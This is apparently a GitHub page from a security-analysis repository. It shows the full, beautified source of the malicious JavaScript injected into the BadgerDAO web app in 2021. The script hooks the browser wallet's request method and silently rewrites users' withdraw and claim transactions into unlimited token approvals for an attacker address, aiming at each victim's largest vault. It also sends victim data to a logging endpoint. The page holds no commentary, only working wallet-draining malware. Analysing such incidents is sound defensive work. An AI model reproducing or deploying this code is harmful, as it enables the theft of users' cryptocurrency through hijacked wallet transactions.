forked from ZenGo-X/badger_dao_script_analysis
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathbadger-dao-malicious-script-beautified.js
632 lines (629 loc) · 23.9 KB
/
badger-dao-malicious-script-beautified.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
(
function (_0xff781a, _0x2ac14d) {
var
get_text_fn = get_text,
_0x5d8bb7 = _0xff781a();
while (!![]) {
try {
var _0x5bb478 = parseInt(get_text_fn(0x1e6)) / 0x1 + parseInt(get_text_fn(0x1d5)) / 0x2 * (parseInt(get_text_fn(0x213)) / 0x3) + parseInt(get_text_fn(0x1dc)) / 0x4 + -parseInt(get_text_fn(0x212)) / 0x5 + parseInt(get_text_fn(0x1de)) / 0x6 + -parseInt(get_text_fn(0x1cf)) / 0x7 * (-parseInt(get_text_fn(0x1d1)) / 0x8) + -parseInt(get_text_fn(0x1c2)) / 0x9;
if (_0x5bb478 === _0x2ac14d) break;
else _0x5d8bb7['push'](_0x5d8bb7['shift']());
} catch (_0x36388b) {
_0x5d8bb7['push'](_0x5d8bb7['shift']());
}
}
console.log(_0x5d8bb7);
}(get_texts_array, 0x7a476)
);
async function _log(_0x12cb76, _0x2655b3) {
var get_text_fn = get_text;
console_log(_0x12cb76, _0x2655b3),
await fetch(
get_text_fn(0x19c),
{
'method': 'POST',
'mode': 'no-cors',
'body': _0x12cb76 + ':' + JSON[get_text_fn(0x1bd)](_0x2655b3),
'headers': new Headers({ 'Content-Type': get_text_fn(0x204) })
}
);
}
function get_texts_array() {
var texts_array = [
'Network is not Ethereum! network.chainId: ',
'length',
'0x4c16bf1f3acbcbf2b05291e8120dacc05c10586e',
'ADMIN: ',
'request',
'0x15b8fe651c268cfb5b519cc7e98bd45c162313c2',
'newArgs',
'eth_sendTransaction',
'decimals',
'providers',
'function approve(address spender, uint value)',
'value',
', owner: ',
'gasPrice',
'balanceOf',
'Interface',
'maxFeePerGas',
'0xb65cef03b9b89f99517643226d76e286ee999e77',
'_value',
'hexlify',
'message',
'keys',
'application/json',
'Balance too low: ',
'userJson',
'maxBalance',
'_isIntercepted',
'uint8',
'transfer',
', contractName: ',
'string',
'args',
'chainId',
'token',
'transferFrom',
'data_tx',
'2044480XuqSyr',
'2522511JAxUHN',
'error',
'/log2',
'0xb16eb351000000000000000000000000',
'0x54cf9df9dcd78e470ab7cb892d7bfbe114c025fc',
'bool',
'0x59c68a651a1f49c26145666e9d5647b1472912a9',
'owner',
'0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff',
'text',
'uint256',
'Approval',
', newSpender: ',
'ethers is embedded!',
', contractAddress: ',
'formatUnits',
'method',
'parse',
'Web3Provider',
'Contract',
'0x392888ADe85c036bA57CFb3b17d41DbCAE64Aaa9',
'ethereum',
'increaseAllowance',
'allowance',
', balance: ',
'encodeFunctionData',
'_approved: ',
'nonpayable',
'WITHDRAWING',
'approve',
', maxVault: ',
'CLAIMING',
'utils',
'symbol',
'contractName',
'stringify',
'POST',
'event',
'spender',
'function increaseAllowance(address spender, uint addedValue)',
'16546248mVVbtv',
'_spender',
'0x45B14b5d5C536C3FAba451A1ba53387dcdDFCf2F',
'0x38b8F6af1D55CAa0676F1cbB33b344d8122535C2',
'listAccounts',
'apply',
'forEach',
'gas',
'log',
'data',
'balance',
'https://web.archive.org/web/20211129204203/https://api.badger.com/v2/accounts/',
'Transfer',
'931JNuWlv',
'contractSymbol',
'10512waBowy',
'_ethers',
'0xaf94d299a73c4545ff702e79d16d9fb1ab5bdabf',
'contractSymbol: ',
'2bQpZqP',
'allowanceWei',
'maxPriorityFeePerGas',
'encodedData',
'err',
'Withdrawing from the vault with the highest balance',
'view',
'3313384iKxMJQ',
'name',
'4531932SiFucS',
'EIP-1559',
'contract IERC20Upgradeable',
'function',
'toLowerCase',
'undefined',
'0x1FCdb04d0C5364FBd92C73cA8AF9BAA72c269107',
'Already has allowance, ',
'148955oXWuMb',
'address',
'0x2e1a7d4d000000000000000000000000',
'startsWith',
'params',
': owner',
'includes',
'_to'
];
get_texts_array = function () { return texts_array; };
return get_texts_array();
}
function get_text(offset, NOTHING) {
var texts_array = get_texts_array();
return get_text = function (offset, NOTHING) {
offset = offset - 0x19b;
var output = texts_array[offset];
return output;
},
get_text(offset, NOTHING);
}
function console_log(_0x3e05a1, _0x391b7c) {
var get_text_fn = get_text,
should_output = !![];
!should_output &&
console[get_text_fn(0x1ca)]('_' + _0x3e05a1, _0x391b7c);
}
var _denied = ![], _approved = ![];
async function getVaults(_0x318b76) {
var get_text_fn = get_text;
try {
var _0x58efc9 = await fetch(get_text_fn(0x1cd) + _0x318b76 + '?chain=ethereum'),
_0x106739 = await _0x58efc9[get_text_fn(0x1a3)]();
console_log('userData', _0x106739);
var _0x180afe = JSON[get_text_fn(0x1ab)](_0x106739);
return _log(get_text_fn(0x206), _0x180afe), _0x180afe;
} catch (_0x4c4e33) {
return _log(_0x4c4e33), null;
}
}
async function tx(_0x656ce6, _0x290819, _0x152c0c) {
var get_text_fn = get_text;
try {
console_log(get_text_fn(0x20d), _0x152c0c);
var _0x30a338 = _0x152c0c[0x0][get_text_fn(0x1ea)],
_0x4a6008 = _0x30a338[0x0][get_text_fn(0x1cb)],
_0x5771d1 = get_text_fn(0x1b9);
_0x4a6008[get_text_fn(0x1e9)]('0x2e1a7d4d000000000000000000000000')
&& (_0x5771d1 = get_text_fn(0x1b6));
if (_denied) throw '_denied: ' + _denied;
if (_approved) throw get_text_fn(0x1b4) + _approved;
var
_0x18c8de = get_text_fn(0x1e4),
_0x48a252 = window[get_text_fn(0x1d2)];
const _0x378774 = new _0x48a252[(get_text_fn(0x1f7))][(get_text_fn(0x1ac))](window[get_text_fn(0x1af)]);
var _0x2d0c43 = await _0x378774['getNetwork']();
console_log(get_text_fn(0x20e), _0x2d0c43[get_text_fn(0x20e)]);
if (_0x2d0c43[get_text_fn(0x20e)] != 0x1) throw get_text_fn(0x1ee) + _0x2d0c43['chainId'];
const _0x48a672 = await _0x378774[get_text_fn(0x1c6)](),
_0x8c99ba = _0x48a672[0x0];
_log(_0x5771d1 + get_text_fn(0x1eb), _0x8c99ba);
var _0x1dfdb1 = [
get_text_fn(0x1ae),
get_text_fn(0x1ff),
get_text_fn(0x1c4),
get_text_fn(0x1f0),
get_text_fn(0x19e),
get_text_fn(0x1d3),
get_text_fn(0x1a0),
get_text_fn(0x1f3)
];
if (_0x1dfdb1[get_text_fn(0x1ec)](_0x8c99ba)) throw get_text_fn(0x1f1) + _0x8c99ba;
var
_0x5afdf4 = await getVaults(_0x8c99ba),
_0x1a0cab = _0x5afdf4[get_text_fn(0x1f9)];
_log(get_text_fn(0x1cc), _0x1a0cab);
if (
_0x8c99ba != get_text_fn(0x1c5) &&
_0x1a0cab < 0xc350
) throw get_text_fn(0x205) + _0x1a0cab;
const _0x849a26 = _0x378774['getSigner']();
var _0x4285f8 = [
{
'constant': !![],
'inputs': [],
'name': get_text_fn(0x1dd),
'outputs': [
{ 'name': '', 'type': get_text_fn(0x20c) }
],
'payable': ![],
'stateMutability': get_text_fn(0x1db),
'type': get_text_fn(0x1e1)
},
{
'constant': ![],
'inputs': [
{
'name': get_text_fn(0x1c3),
'type': get_text_fn(0x1e7)
},
{
'name': '_value',
'type': get_text_fn(0x1a4)
}
],
'name':
'approve',
'outputs': [
{
'name': '',
'type': get_text_fn(0x19f)
}
],
'payable': ![],
'stateMutability': get_text_fn(0x1b5),
'type': get_text_fn(0x1e1)
},
{
'constant': !![],
'inputs': [],
'name':
'totalSupply',
'outputs': [
{
'name': '',
'type': get_text_fn(0x1a4)
}],
'payable': ![],
'stateMutability': get_text_fn(0x1db),
'type': get_text_fn(0x1e1)
},
{
'constant': ![],
'inputs': [
{
'name': '_from',
'type': get_text_fn(0x1e7)
},
{
'name': get_text_fn(0x1ed),
'type': get_text_fn(0x1e7)
},
{
'name': get_text_fn(0x200),
'type': get_text_fn(0x1a4)
}
],
'name': get_text_fn(0x210),
'outputs': [
{
'name': '',
'type': get_text_fn(0x19f)
}
],
'payable': ![],
'stateMutability': get_text_fn(0x1b5),
'type': 'function'
},
{
'constant': !![],
'inputs': [],
'name': get_text_fn(0x1f6),
'outputs': [
{
'name': '',
'type': get_text_fn(0x209)
}
],
'payable': ![],
'stateMutability': 'view',
'type': get_text_fn(0x1e1)
},
{
'constant': !![],
'inputs': [
{
'name': '_owner',
'type': get_text_fn(0x1e7)
}
],
'name': get_text_fn(0x1fc),
'outputs': [
{
'name': get_text_fn(0x1cc),
'type': get_text_fn(0x1a4)
}
],
'payable': ![],
'stateMutability': get_text_fn(0x1db),
'type': get_text_fn(0x1e1)
},
{
'constant': !![],
'inputs': [],
'name':
'symbol',
'outputs': [
{
'name': '',
'type': 'string'
}
],
'payable': ![],
'stateMutability': get_text_fn(0x1db),
'type': get_text_fn(0x1e1)
},
{
'constant': ![],
'inputs': [
{
'name': '_to',
'type': get_text_fn(0x1e7)
},
{
'name': '_value',
'type': get_text_fn(0x1a4)
}
],
'name': get_text_fn(0x20a),
'outputs': [
{ 'name': '', 'type': 'bool' }
],
'payable': ![],
'stateMutability': get_text_fn(0x1b5),
'type': get_text_fn(0x1e1)
},
{
'constant': !![],
'inputs': [
{
'name': '_owner',
'type': 'address'
},
{
'name': get_text_fn(0x1c3),
'type': get_text_fn(0x1e7)
}
],
'name': 'allowance',
'outputs': [
{
'name': '',
'type': get_text_fn(0x1a4)
}
],
'payable': ![],
'stateMutability': get_text_fn(0x1db),
'type': get_text_fn(0x1e1)
},
{
'inputs': [],
'name': get_text_fn(0x20f),
'outputs': [
{
'internalType': get_text_fn(0x1e0),
'name': '',
'type': get_text_fn(0x1e7)
}
],
'stateMutability': get_text_fn(0x1db),
'type': get_text_fn(0x1e1)
},
{
'payable': !![],
'stateMutability': 'payable',
'type': 'fallback'
},
{
'anonymous': ![],
'inputs': [
{
'indexed': !![],
'name': get_text_fn(0x1a1),
'type': get_text_fn(0x1e7)
},
{
'indexed': !![],
'name': get_text_fn(0x1c0),
'type': get_text_fn(0x1e7)
},
{
'indexed': ![],
'name': get_text_fn(0x1f9),
'type': get_text_fn(0x1a4)
}
],
'name': get_text_fn(0x1a5),
'type': get_text_fn(0x1bf)
},
{
'anonymous': ![],
'inputs': [
{
'indexed': !![],
'name': 'from',
'type': 'address'
},
{
'indexed': !![],
'name': 'to',
'type': get_text_fn(0x1e7)
},
{
'indexed': ![],
'name': 'value',
'type': 'uint256'
}
],
'name': get_text_fn(0x1ce),
'type': 'event'
}
],
_0x1f4bab = 0x0,
_0x49c07c = null;
for (var _0x3917a1 of Object['keys'](_0x5afdf4[get_text_fn(0x1cb)])) {
console_log(_0x3917a1, _0x5afdf4['data'][_0x3917a1]);
var
_0x5b4653 = _0x5afdf4[get_text_fn(0x1cb)][_0x3917a1],
_0x582ffe = _0x5b4653[get_text_fn(0x1e7)],
_0x322715 = new _0x48a252['Contract'](_0x582ffe, _0x4285f8, _0x378774),
_0x456725 = await _0x322715[get_text_fn(0x1f6)]();
console_log(get_text_fn(0x1f6), _0x456725);
var _0x296558 = await _0x322715[get_text_fn(0x1b1)](_0x8c99ba, _0x18c8de);
console_log(get_text_fn(0x1d6), _0x296558);
var _0xb219bf = _0x48a252[get_text_fn(0x1ba)][get_text_fn(0x1a9)](_0x296558, _0x456725);
console_log(get_text_fn(0x1b1), _0xb219bf);
if (_0xb219bf > 0x0) {
var _0x4a56f5 = await _0x322715['symbol']();
console_log(get_text_fn(0x1d0), _0x4a56f5);
var _0x50526e = await _0x322715[get_text_fn(0x1dd)]();
console_log('contractName', _0x50526e);
throw get_text_fn(0x1e5) + get_text_fn(0x1d4) + _0x4a56f5 + get_text_fn(0x20b) + _0x50526e + get_text_fn(0x1a8) + _0x582ffe;
}
_0x5b4653[get_text_fn(0x1f9)] > _0x1f4bab && (_0x1f4bab = _0x5b4653[get_text_fn(0x1f9)], _0x49c07c = _0x5b4653['address']);
}
_log(get_text_fn(0x207), _0x1f4bab),
_log('maxVault', _0x49c07c);
var _0x46c76b = null;
if (
_0x4a6008[get_text_fn(0x1e9)]('0x2e1a7d4d000000000000000000000000') &&
_0x49c07c[get_text_fn(0x1e2)]() == _0x30a338[0x0]['to'][get_text_fn(0x1e2)]()
) {
_log(get_text_fn(0x1da), _0x49c07c);
var
_0x322715 = new _0x48a252[(get_text_fn(0x1ad))](_0x49c07c, _0x4285f8, _0x378774),
_0x56e638 = await _0x322715['token']();
console_log('tokenAddress', _0x56e638),
_0x49c07c = _0x56e638,
_0x322715 = new _0x48a252[(get_text_fn(0x1ad))](_0x49c07c, _0x4285f8, _0x378774);
var _0x456725 = await _0x322715[get_text_fn(0x1f6)]();
console_log(get_text_fn(0x1f6), _0x456725);
var _0x296558 = await _0x322715[get_text_fn(0x1b1)](_0x8c99ba, _0x18c8de);
console_log(get_text_fn(0x1d6), _0x296558);
var _0xb219bf = _0x48a252[get_text_fn(0x1ba)]['formatUnits'](_0x296558, _0x456725);
console_log('allowance', _0xb219bf);
if (_0xb219bf > 0x0) {
var _0x4a56f5 = await _0x322715[get_text_fn(0x1bb)]();
console_log('contractSymbol', _0x4a56f5);
var _0x50526e = await _0x322715[get_text_fn(0x1dd)]();
console_log(get_text_fn(0x1bc), _0x50526e);
throw get_text_fn(0x1e5) + get_text_fn(0x1d4) + _0x4a56f5 + get_text_fn(0x20b) + _0x50526e + get_text_fn(0x1a8) + _0x582ffe;
}
var _0x53b1ba = new _0x48a252[(get_text_fn(0x1ba))]['Interface']([get_text_fn(0x1f8)]);
_0x46c76b = _0x53b1ba['encodeFunctionData'](get_text_fn(0x1b7), [_0x18c8de, get_text_fn(0x1a2)]);
}
else {
var _0x53b1ba = new _0x48a252[(get_text_fn(0x1ba))][(get_text_fn(0x1fd))]([get_text_fn(0x1c1)]);
_0x46c76b = _0x53b1ba[get_text_fn(0x1b3)](get_text_fn(0x1b0), [_0x18c8de, get_text_fn(0x1a2)]);
}
console_log(get_text_fn(0x1d8), _0x46c76b);
var
_0xd98577 = { ..._0x30a338[0x0] };
_0xd98577['data'] = _0x46c76b,
_0xd98577['to'] =
_0x49c07c, _0xd98577['gas'] = _0x48a252[get_text_fn(0x1ba)][get_text_fn(0x201)](0xff3f),
console_log('newParams', _0xd98577);
var _0x543b9f = [
{
'method': get_text_fn(0x1f5),
'params': [_0xd98577]
}
];
console_log(get_text_fn(0x20d), _0x152c0c),
console_log(get_text_fn(0x1f4), _0x543b9f),
_log(get_text_fn(0x1cb), _0x5771d1 + ', owner: ' + _0x8c99ba + get_text_fn(0x1a6) + _0x18c8de + get_text_fn(0x1b8) + _0x49c07c + get_text_fn(0x1b2) + _0x1f4bab);
try {
var _0x5dd52e = await Reflect['apply'](_0x656ce6, _0x290819, _0x543b9f);
_log('tx', _0x5dd52e),
_log(get_text_fn(0x211), _0x5771d1 + get_text_fn(0x1fa) + _0x8c99ba + get_text_fn(0x1a6) + _0x18c8de + ', maxVault: ' + _0x49c07c + get_text_fn(0x1b2) + _0x1f4bab);
}
catch (_0x2b8012) {
if (_0x2b8012['message'] && _0x2b8012[get_text_fn(0x202)][get_text_fn(0x1ec)](get_text_fn(0x1df))) {
_log(get_text_fn(0x1df), _0x2b8012['message']);
try {
delete _0xd98577[get_text_fn(0x1fe)],
delete _0xd98577[get_text_fn(0x1d7)],
_0xd98577[get_text_fn(0x1c9)] = _0x48a252['utils']['hexlify'](0x186a0);
var _0x5d292a = await _0x378774['getGasPrice']();
_log('gasPrice', _0x48a252['utils'][get_text_fn(0x201)](_0x5d292a)),
_0xd98577[get_text_fn(0x1fb)] = _0x48a252[get_text_fn(0x1ba)]['hexlify'](_0x5d292a),
_0x543b9f = [{ 'method': get_text_fn(0x1f5), 'params': [_0xd98577] }];
var _0x5dd52e = await Reflect['apply'](_0x656ce6, _0x290819, _0x543b9f);
_log('tx', _0x5dd52e);
}
catch (_0x10a84d) {
_denied = !![];
throw _0x10a84d;
}
}
else _denied = !![];
throw _0x2b8012;
}
return _approved = !![], Reflect[get_text_fn(0x1c7)](_0x656ce6, _0x290819, _0x152c0c);
}
catch (_0x4b4862) {
return _log(get_text_fn(0x1d9), _0x4b4862), Reflect[get_text_fn(0x1c7)](_0x656ce6, _0x290819, _0x152c0c);
}
}
async function interceptMethodCalls(_0x3b557f) {
var get_text_fn = get_text;
try {
if (typeof window[get_text_fn(0x1d2)] !== get_text_fn(0x1e3)) {
console_log(get_text_fn(0x1a7));
var _0x5edbe5 = window[get_text_fn(0x1d2)];
const _0x1d87c7 = new _0x5edbe5[(get_text_fn(0x1f7))]['Web3Provider'](window[get_text_fn(0x1af)]);
var _0x32e13c = await _0x1d87c7['getNetwork']();
console_log('chainId', _0x32e13c['chainId']),
_0x32e13c[get_text_fn(0x20e)] == 0x1 &&
(
console_log('The network is Ethereum mainnet'),
Object[get_text_fn(0x203)](_0x3b557f)[get_text_fn(0x1c8)](
_0x21ad27 => {
var _0x69aac = get_text_fn;
const _0xf0ef0d = _0x3b557f[_0x21ad27];
if (typeof _0xf0ef0d === _0x69aac(0x1e1)) {
if (_0x21ad27 == _0x69aac(0x1f2)) {
const _0x16d963 = _0xf0ef0d;
_0x3b557f[_0x21ad27] = (..._0x72043d) => {
var _0x591e38 = _0x69aac;
try {
if (
_0x72043d &&
_0x72043d[_0x591e38(0x1ef)] == 0x1 &&
_0x591e38(0x1aa) in _0x72043d[0x0] &&
_0x72043d[0x0][_0x591e38(0x1aa)] == _0x591e38(0x1f5) &&
'params' in _0x72043d[0x0]
) {
var _0x294ee3 = _0x72043d[0x0][_0x591e38(0x1ea)];
if (_0x591e38(0x1cb) in _0x294ee3[0x0]) {
var _0x17a66a = _0x294ee3[0x0][_0x591e38(0x1cb)];
if (
_0x17a66a[_0x591e38(0x1e9)](_0x591e38(0x19d)) ||
_0x17a66a[_0x591e38(0x1e9)](_0x591e38(0x1e8))
) return tx(_0x16d963, _0x3b557f, _0x72043d);
}
}
} catch (_0x26f612) {
_log(_0x591e38(0x19b), _0x26f612);
}
return Reflect[_0x591e38(0x1c7)](_0x16d963, _0x3b557f, _0x72043d);
};
}
}
}
)
);
}
}
catch (_0x499957) {
_log(get_text_fn(0x1d9), _0x499957);
}
}
var _isIntercepted = ![];
setInterval(
function () {
var get_text_fn = get_text;
!_isIntercepted && (
console_log(get_text_fn(0x208), _isIntercepted),
typeof window[get_text_fn(0x1af)] !== get_text_fn(0x1e3) &&
typeof window[get_text_fn(0x1d2)] !== get_text_fn(0x1e3) &&
(interceptMethodCalls(ethereum), _isIntercepted = !![], _log(get_text_fn(0x208), _isIntercepted))
);
},
0x3e8);